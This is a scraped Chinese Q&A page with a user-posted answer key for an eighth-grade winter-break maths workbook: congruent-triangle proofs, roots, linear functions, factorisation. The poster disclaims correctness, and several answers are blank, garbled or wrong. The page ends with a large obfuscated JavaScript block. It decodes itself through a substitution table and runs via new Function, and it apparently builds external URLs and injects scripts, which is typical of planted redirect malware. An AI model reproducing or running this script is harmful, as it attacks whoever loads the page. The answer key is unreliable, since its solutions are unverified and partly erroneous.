八年级上册数学寒假作业答案 新课堂 数学! 新课堂假期生活! 北京出版社 配北师大版 封面山山水水 还有企
推荐回答(5个)
这些题从第一页开始 一直往下,顺序就是排好的了 对错不能保证……~ 数学 一、DACB 二、AC=DF 45cm 三、1.∵AO平分∠BAC ∴DO=EO ∴∠DOB=∠EOC ∵CD⊥AB BE⊥AC ∴ODB=∠OEC=90° ∴在△BOD和△COE中 ∠ODB=∠OEC DO=EO ∠DOB=∠EOC ∴△BOD≌△COE ∴OB=OC 2.∵AD=CE,AC=BC,∠A=∠ACB=60° ∴△ACD≌△BCE(SAS) ∴∠ACD=∠CBE ∵△ABC是等边三角形 ∴∠ACD+∠BCD=60° ∴△BFC中,∠BFC=180°-∠CBE-∠BCD=120° 一、DDDA 二、BD=B'D' 180° 三、(1)∵△ABC为等边三角形 ∴AC=BC ∵△DCE为等边三角形 ∴DC=CF ∵等边三角形各角为60° ∴∠ACB=∠DCF=60° ∴∠ACB+∠ACD=∠DCF+∠ACD 即∠ACE=∠DCB ∴在△ACE和△BCD中 AC=BC ∠ACE=∠BCA CF=DC ∴△ACE≌△DCB ∴AE=DB (2)成立。 一、DDC 二、30° 3cm 90° 三、(1)利用HL定理可得△ACE≌△CBD ∴AE=CD (2)BD=CE=1/2BC=6cm 一、CDCB 二、∠ADC=2∠ABC 50° 三、1.如图,过点D分别作AB,AC的垂线,垂足分别为G,H 则∠GAD+∠ADG=90°,∠HAD+∠DAH=90° 即∠BAC+∠GDH=180° ∴∠BAC+∠EDF=180° ∴∠GDH=∠EDF ∴∠GDH-∠GDF=∠EDF 即∠EDG=∠FDH 又∵AD是角平分线 ∴DG=DH ∴∠DGE=∠DHF=90° ∴△DEG≌△DFH ∴DE=DF 2.利用对称轴原理 一、DCCC 二、全等 对称轴 3cm B(-2,2) C(-2,-2)D(2,-2) 4 70°或55° 三、∵△ABE的周长为10 即AE+BE+AB=10 且在△AEC中,D为AC中点,ED⊥AC ∴ED为三角形AEC的中垂线 即△AEC为等腰三角形 ∴AE=EC ∵CA=CB ∴AC+AB=10 又∵AC-AB=2 ∴AC=6 AB=4 ∴CA=CB=6 一、CC 二、2 8或6 长方形 1、3、8、0 15° 三、1.∵DE垂直平分AB ∴AD=DB 即∠A=∠ABD 设1为X,则∠DBC=2X, ∠A=∠ABD=3X 又∵∠DBC+∠A+∠ABD+∠ACB=180°,∠ACB=90° ∴∠DBC+∠A+∠ABD=90° ∵2X+3X+3X=90° ∴∠A=3X=33.75° 2.∵EF‖BC,BD是∠ABC的角平分线 ∴∠EDB=∠DBC 又∵∠DBC=∠ABD ∴∠EDB=∠ABD ∴△BDE为等腰三角形 又∵EF‖BC,CD是∠ACB的平分线 ∴∠FDC=∠BCD 又∵∠BCD=∠AFD ∴∠FDC=∠AFD 即△CFD为等腰三角形 ∴BE=EO CF=DF BE+CF=ED+DF=EF ∴EF=BE+CF 一、DCBD 二、F,G,K,N,R 全等 对称 80°或20° 4:1 原点对称 三、1.∵∠ABC=40°,DB=BA ∴∠D=∠BAD=1/2∠ABC=20° 又∵∠ACB=70°,CE=CA ∴∠E=∠EAC=1/2∠ACB=35° ∵∠ABC=40°,∠ACB=70° ∴∠BAC=180°-∠ABC-∠ACB=70° ∴∠DAE=∠BAD+∠BAC+∠EAC=125° 2.∵△ABC是等边三角形 ∴∠ACB=∠ABC=60° ∵PE‖AB,PF‖AC ∴∠PEF=∠ABC=60°,∠PFE=∠ACB=60° 所遗△PEF是等边三角形 一、BADCC 二、 它的两对边的中线 00 1 2 a√b 三、1.∵(2-a)²+√(a²+b+c)+|c+8|=0 ∴a=2 b=4 c=-8 ∵ax²+bx+c=0 ∴2x²+4x-8=0 2x²+4x=8 x²+2x=4 ∴x²+2x+1=4+1=5 2.(1)(2)(3)答案都是1 (4)n-n+1=1 一、CADBD 二、三 不会= = 一、DD 二、立方 立方根 ³√a 1/8 1/4 5/2 ±√5 9.11 -0.196 三、1. =-5 2.=3/2 3.=9/4 4. =60 四、1. 2x-1=√5 2x=√5+1 x=(√5+1)/2 2. 2(x-1)³= -128 (x-1)³= -64 x= -3 五、∵³√=3 ∴x=27 ∵√z-4=0 ∴z=4 ∴(2y-12+2)²=0 2y=10 y=5 ³√27+125+64=12 2. (³√0.125÷8) x 6=0.125x6=1.5cm² 一、DBCB 二、S=x(5+x/2)=5x+x²/2 x x y 25 12.5 S=3n+1 三、1. 2a+1=0 2b-4=0 2a=-1 2b=4 a=-0.5 b=2 2.(1)Q=200+10t (0≤t≤30) (2)0≤t≤30 (3)略 一、BCBA 二、y=1/3x+4 3 第三空不会 = = 三、1.(1)m=2 (2)m=2 2.(1)y=50-2.5x (0≤x≤20) (2)略 一、CBB 二、y=x-2 3 <4 >4 x=2,y=1 三、1. (1)x=4 (2)x<4 (3)x>4 (4)x<5 2.(1)y1=50+0.4x y2=0.5x (2)50+0.4x=0.5x x=500 (3)y1 一、CCC 第四答案没正确选项 二、-2x 减小 1 -2 -1 -5 y=180-1/2x 00 一、ACD 二、-10a a²(a+3b)(x-y) a x-14 a²-2ab -1 (1-a+b)(1+a-b) (x²+5x+5)² 三、1.x²-y²+x-3y=(x+y)(x-y)+x-3y=x+y+x-3y=2(x-y)=2 2.(x²+2xy-3y²)÷(xy)=(x+3y)(x-y)÷(x-y)=x+3y=125 3.x+1+y(x+1)=6 (x+1)(y+1)=6 x=1,y=2或x=2 y=1 4.a²-b²-2bc-c²=2²-(b+c)² ∵三角形两边之和大于第三边 ∴0
家中来了许多客人,每两个人合用一只菜碗,每三人合用一只汤碗,每四人合用一只饭碗,所以一共准备65只碗,求一共来了多少人?
一。1.D 2.B 二。1---d 2----c 3----a 4---b
!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();